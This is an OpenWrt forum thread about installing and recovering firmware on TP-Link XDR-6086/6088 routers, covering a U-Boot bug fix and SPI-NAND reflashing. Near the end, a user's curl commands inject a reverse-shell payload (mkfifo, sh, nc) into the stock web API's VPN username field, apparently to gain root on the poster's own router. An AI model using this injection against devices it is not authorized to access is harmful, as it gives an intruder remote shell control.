Adding support for TP-Link XDR-6086

Reading the instructions in your link looks like I don't need the TTL cable: when the router reboot it will automatically connect using tftp Recovery through Ethernet and download and install the 2 files (if I run tftp server on ip with the 2 files on it).
Am I right?

No idea, the commit is vague, but I'd say it won't, since no uboot env parameters seem to be changed during install.

1 Like

Maybe @daniel can clarify this

I've tried. TTL is not needed. Read this:

1 Like

I tried to follow the tutorial above, but uboot seems to be broken, what should I do

F0: 102B 0000
FA: 1040 0000
FA: 1040 0000 [0200]
F9: 0000 0000
V0: 0000 0000 [0001]
00: 0000 0000
BP: 2400 0041 [0000]
G0: 1190 0000
EC: 0000 0000 [1000]
T0: 0000 020D [010F]
Jump to BL

NOTICE: BL2: v2.9(release):OpenWrt v2023-07-24-00ac6db3-1 (mt7986-spim-nand-ddr3)
NOTICE: BL2: Built : 23:05:49, Jul 29 2023
NOTICE: WDT: Cold boot
NOTICE: WDT: disabled
NOTICE: CPU: MT7986 (1998MHz)
NOTICE: EMI: Using DDR3 settings
NOTICE: EMI: Detected DRAM size: 512MB
NOTICE: EMI: complex R/W mem test passed
NOTICE: SPI_NAND parses attributes from parameter page.
NOTICE: SPI_NAND Detected ID 0xc8
NOTICE: Page size 2048, Block size 131072, size 134217728
NOTICE: BL2: Booting BL31
NOTICE: BL31: v2.9(release):OpenWrt v2023-07-24-00ac6db3-1 (mt7986-spim-nand-ddr3)
NOTICE: BL31: Built : 23:05:49, Jul 29 2023

U-Boot 2023.07.02-OpenWrt-r23644-3eebb91317 (Jul 29 2023 - 23:05:49 +0000)

CPU: MediaTek MT7986
Model: TP-Link TL-XDR608x
DRAM: initcall sequence 0000000041ea6060 failed at call 0000000041e02f54 (err=-22)

ERROR ### Please RESET the board


I flashed preloader.bin and uboot.fip and after reboot the router is dead, no power light, no signal on Rj45 or USB , the router is completely dead. That's how your router is too?

I have not connected TTL serial cable but your case give me hope mine can be recovered.

Anyway, I guess in this situation the only solution is to flash the NAND. Never did that but as an electrical engineer I think I can learn.

Can someone suggest me tutorial and a ch341a programmer on AliExpress to use with the suggested cable above?

Or any other AliExpress product to flash the NAND the easiest way and without soldering involved?

I flashed the preloader.bin and bl31-uboot.fip files and restart. the machine can light up, but as shown above information through from TTL ,it seems that problem with uboot. so now I may need to buy a ch341a programmer, even if I don't know how to use it. If the machine does not respond at all, you may need to flash the NAND to solve your problem. I am looking for ways to use the programmer, it would be better if someone can provide some methods

1 Like

I've write one:

If you can't read Chinese, you can translate it with AI.

1 Like

Oh, this is very bad and unexpected. I had tried U-Boot on the BPi-R3 and because it booted fine from SPI-NAND I assumed that the same would be true also for all other MT7986 boards with SPI-NAND.

At this point we should put a warning that U-Boot is currently broken for this device !!

I'm investigating which initcall actually broke and will figure out how to fix that.

To recover the devices now bricked, a working bootloader image and raw access to the SPI-NAND will be required using an external SPI-NAND adapter (can be a CH341 USB device using SNANDer).

(gdb) info symbol 0x41e02f54 
dram_init in section .text_rest

Edit 1: I found the cause:

So this requires all boards to define memory in DTS. I will update all DTS accordingly.

Edit 2: Fixed:


There is a tutorial for this? If possible, can someone please shares AliExpress links to buy the ch341 USB Device and cable?
I never deal with NAND programming but I am willing to try to save my router

If I'm not mistaken, you should be able to use these two together with SNDADer:

Be sure to select the actual CH341 programmer and the WSON 8x6 adapter. The data sheet for the WSON flash says its 8x6:

Supported by SNANDer:

1 Like

Thanks a lot for the recommendations. Already purchased both, waiting a few weeks to arrive.

In the meantime I need to learn how and what to flash. Need to flash a working preloaded.bin and uboot.fip? Or the stock firmware backup (I have it)?
There is some tutorial you recommend me to study and use?

@Daniel may be able to give you more descriptive instructions, but it basically boils down to needing the preloader.bin and bl31.bin and knowing which offset to write each of them to.

1 Like

@soxrok2212 You need to write only fixed bl31.bin (FIP) and it needs to go to offset 0x380000 on the SPI-NAND flash.

The fix I pushed yesterday has been picked up by the buildbots by now and the files offered for download should be fine again.


@kastellsc if possible, I'd recommend making a full backup of the entire chip (even in it's current broken state) before attempting ANY kind of write operation. That way, if you make a mistake, you can at least revert to a known state, even if it is broken.


I got stuck at step 4.2, my friend

OpenWrt R23.5.1 / LuCI Master (git-23.118.10415-24f8cbd) openwrt-mediatek-filogic-tplink_tl-xdr6088-squashfs-sysupgrade.bin

root@XDR6088:/# lsblk
mtdblock0    31:0    0    1M  1 disk
mtdblock1    31:1    0  384K  1 disk
mtdblock2    31:2    0  384K  1 disk
mtdblock3    31:3    0  1.8M  1 disk
mtdblock4    31:4    0  1.5M  1 disk
mtdblock5    31:5    0  115M  0 disk
ubiblock0_2 254:0    0 30.5M  0 disk /rom
root@XDR6088:/# mtd erase BL2
Could not open mtd device: BL2
Could not open mtd device: BL2

root@XDR6088:/# mtd erase FIP
Could not open mtd device: FIP
Could not open mtd device: FIP

cat /proc/mtd

what's the output?

What's R23.5.1? Doesn't sound like any OpenWrt version ever released, so maybe you need to ask for support where ever you found that (which I suspect is not

I have to revert back to stock and ... try again... bingo it's a sucess...
@riverscn but in your tutorial I cannot access when using netcat...hmm

curl [](${stok}/ds -H "Content-Type: application/json" -X POST -d '{"virtual**":{"table":"user","name":"user_1","para":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"","ippool":"ippool","dns":"","netmode":"client2lan","maxsessions":"10","remotesubnet":"","block":"0"}},"method":"add"}'

curl${stok}/ds -H "Content-Type: application/json" -X POST -d '{"virtual**":{"user_1":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"","ippool":"ippool","dns":"","netmode":"client2lan","maxsessions":"10","remotesubnet":"","block":"1"}},"method":"set"}'

But when I switch to as you mentioned, I got a good result

curl -H "Content-Type: application/json" -X POST -d '{"vpn":{"table":"user","name":"user_1","para":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 2000 >/tmp/p&","password":"password","type":"l2tp","localip":"","ippool":"ippool","dns":"","netmode":"client2lan","maxsessions":"10","remotesubnet":"","block":"0"}},"method":"add"}'

curl -H "Content-Type: application/json" -X POST -d '{"vpn":{"user_1":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 2000 >/tmp/p&","password":"password","type":"l2tp","localip":"","ippool":"ippool","dns":"","netmode":"client2lan","maxsessions":"10","remotesubnet":"","block":"1"}},"method":"set"}'